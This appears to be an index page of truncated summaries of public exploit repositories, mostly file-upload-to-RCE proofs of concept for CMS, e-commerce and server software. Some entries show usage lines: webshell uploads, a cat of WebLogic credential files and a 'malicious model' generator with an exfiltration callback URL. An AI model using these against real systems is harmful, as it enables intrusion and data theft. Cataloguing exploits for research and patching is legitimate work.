CVE-2026-38526-POC

CVE-2026-38526 - Exploit de RCE en Krayin CRM Krayin CRM ≤ 2.2.x - Carga de archivos sin restricciones que conduce a la ejecución remota de código. Este PoC aprovecha el endpoint vulnerable de carga de TinyMCE /admin/tinymce/upload para subir un webshell PHP y lograr la ejecución de comandos en e...

tomcat-cve-2017-12617

Tomcat CVE-2017-12617 Exploit/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - Bypass de Subida JSP / Ejecución Remota de Código para Python3 Solo hice algunos ajustes al script original para que sea compatible con Python 3! Si hay algún problema o inconveniente, no dudes en enviarme un...

CVE-2022-41840-PoC

Zenario CMS 9.3 - Exploit de RCE no autenticado CVE-2022-41840 Una vulnerabilidad de ejecución remota de código RCE no autenticada que afecta a Zenario CMS versión 9.3 y anteriores. El exploit aprovecha una vulnerabilidad de carga de archivos en el endpoint AJAX para subir un webshell PHP y logra...

CVE-2025-43990-Magento-RCE

Magento APSB25-94 — Unauthenticated File Upload to RCE Overview Exploits unauthenticated file upload in Magento / Adobe Commerce via REST API guest cart customoptions file upload. Attack Chain root@kitploit: 1. GraphQL → leak product SKU 2. REST API → create guest cart 3. REST API → upload PNG...

CVE-2024-9756

🚀 Exploit de Subida Arbitraria de Archivos en WooCommerce CVE-2024-9756 📌 Resumen Este exploit aprovecha una vulnerabilidad de subida arbitraria de archivos no autorizada y limitada en el plugin Order Attachments for WooCommerce versiones 2.0 a 2.4.1 para WordPress. La vulnerabilidad permite a...

CVE-2022-29464

WSO2 任意ファイルアップロードによるリモートコマンド実行 RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 例 root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2014-4725

CVE-2014-4725 Este script se utiliza para escanear y explotar la vulnerabilidad CVE-2014-4725 MailPoet/Wysija Newsletters en WordPress. Características Modo escaneo detectar objetivos WordPress vulnerables a CVE-2014-4725 Modo explotación subir un payload zip a objetivos vulnerables Instalación 1...

CVE-2025-29093-Arbitrary-File-Upload

CVE-2025-29093-Carga-Arbitraria-de-Archivos Este repositorio revela una vulnerabilidad de seguridad descubierta en Motivian Content Management System v.41.0.0. CVE-2025-29093: Carga Arbitraria de Archivos Esta vulnerabilidad fue reportada al proveedor, conforme a las prácticas de divulgación...

cve-2019-2618

cve-2019-2618 Weblogic Upload VulnNeed username password-CVE-2019-2618 python使用 root@kitploit: python CVE-2019-2618.py url username password 解密weblogic密码 root@kitploit: root@f0cb7e674d7e:/Oracle cat /root/Oracle/Middleware/userprojects/domains/basedomain/servers/AdminServer/security/boot.properti...

Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB TRY AT YOUR OWN RISKS SOME CODE NEED TO MODIFY. 1. Generate malicious model python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' ...

CVE-2024-52380

CVE-2024-52380 Picsmize = 1.0.0 - Carga arbitraria de archivos sin autenticación Descripción El plugin Picsmize para WordPress es vulnerable a cargas de archivos arbitrarias debido a la falta de validación del tipo de archivo en todas las versiones hasta la 1.0.0 inclusive. Esto hace posible que...

cve-2019-11447

CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC Objetivo : 2.1.2 Este script de PoC está basado en una implementación simple del exploit original por BobbySox. El exploit original es un módulo MSF por Akuss. Este script necesita la dirección IP o dominio del objetivo junto con credenciales, y...

CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version

CVE-2023-4596 CVE-2023-4596 の PoC スクリプト。任意のファイルアップロードを介して認証なしのリモートコマンド実行を行うために作成された効率的な Python ツールです。 リソース インストール 使用方法 使用方法 インストール root@kitploit: git clone https://github.com/X-Projetion/CVE-2023-4596-Vulnerable-Exploit-and-Checker-Version && cd CVE-2023-4596-Vulnerable-Exploit-and-Checker-Versio...

thingsboard-ssrf-cve-2025-34282

CVE-2025-34282 — ThingsBoard SSRF mediante carga de imágenes SVG Resumen Vulnerabilidad de falsificación de solicitudes del servidor SSRF en ThingsBoard IoT Platform en versiones anteriores a 4.2.1. Un atacante con acceso de Tenant Admin puede subir un archivo SVG manipulado que contiene una...

Penetration-Test

Penetration-Test Informe completo de prueba de penetración contra IP VM Ubuntu. Cadena de ataque: enumeración de directorios → descubrimiento de archivos de respaldo → cracking de contraseñas → subida de archivos CMS → reverse shell → escalada de privilegios del kernel Dirty Pipe, CVE-2022-0847...

CVE-2025-31324

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer Unauthenticated File Upload Type: Proof of Concept — Vulnerability Research CVE: CVE-2025-31324 CVSS: 10.0 Critical AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Status: Patched — SAP Security Note 3594142 + 3604119 Added to CISA KEV: May 2025 ⚠️ Este PoC...

CVE-2023-4220

CVE-2023-4220 PoC Chamilo LMS 認証なし大容量ファイルアップロードRCE このリポジトリには、Chamilo LMS に影響を与えるリモートコード実行 RCE 脆弱性である CVE-2023-4220 の概念実証 PoC が含まれています。この脆弱性により、認証されていない攻撃者が大容量ファイルのアップロード機能を悪用し、サーバー上で任意のコード実行を引き起こすことが可能になります。 索引 CVE-2023-4220 PoC - Chamilo LMS 認証なし大容量ファイルアップロードRCE 索引 脆弱性の詳細 免責事項 概要 LMSとは Chamiloとは...

CVE-2024-11680

Exploit para CVE-2024-11680 de ProjectSend Este es un exploit de prueba de concepto para CVE-2024-11680, una vulnerabilidad de modificación de configuración no autenticada y carga de web shell en ProjectSend. Descripción El exploit aprovecha múltiples vulnerabilidades en ProjectSend: Bypass del...

CVE-2024-8743-PoC

CVE-2024-8743 PoC Antecedentes Script de prueba de concepto PoC para el complemento de WordPress Bit File Manager versión = 6.5.7, vulnerabilidad de carga limitada de archivos JavaScript autenticada suscriptor+ CVE-2024-8743 Información Descripción: El complemento de WordPress Bit File Manager –...

CVE-2025-47577

CVE-2025-47577 Un proof of concept desarrollado para explotar CVE-2025-47577. Basado en el artículo de PatchStack. Uso root@kitploit: usage: python CVE-2025-47577.py --help TI WooCommerce Wishlist WordPress plugin = 2.9.2 CVE-2025-47577 PoC positional arguments: FILE local file to upload URLPATH...